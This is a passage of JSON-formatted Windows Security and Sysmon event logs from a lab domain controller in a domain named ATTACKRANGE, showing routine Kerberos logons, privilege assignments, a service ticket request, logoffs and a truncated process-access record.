ID:\t\t0x121B50\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x121b50","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222345,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x1221BD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x1221bd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222346,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x1221BD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51596\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x1221bd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51596","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222347,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x1222CC\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x1222cc","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222348,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x1222CC\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t0\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x1222cc","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222349,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x122336\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x122336","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222350,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x122336\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t10.0.1.14\r\n\tSource Port:\t\t51597\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x122336","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"10.0.1.14","IpPort":"51597","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222351,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{3A81C074-D370-79E4-2D8F-52AF4B2B6F1D}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40800000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40800000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{3A81C074-D370-79E4-2D8F-52AF4B2B6F1D}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222352,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x12247F\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x12247f","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222353,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x12247F\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{266274AC-3693-F3B2-CAA5-D49915C749D9}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51595\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x12247f","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{266274AC-3693-F3B2-CAA5-D49915C749D9}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51595","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222354,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x122336\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x122336","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222355,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x1222CC\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x1222cc","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.043\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 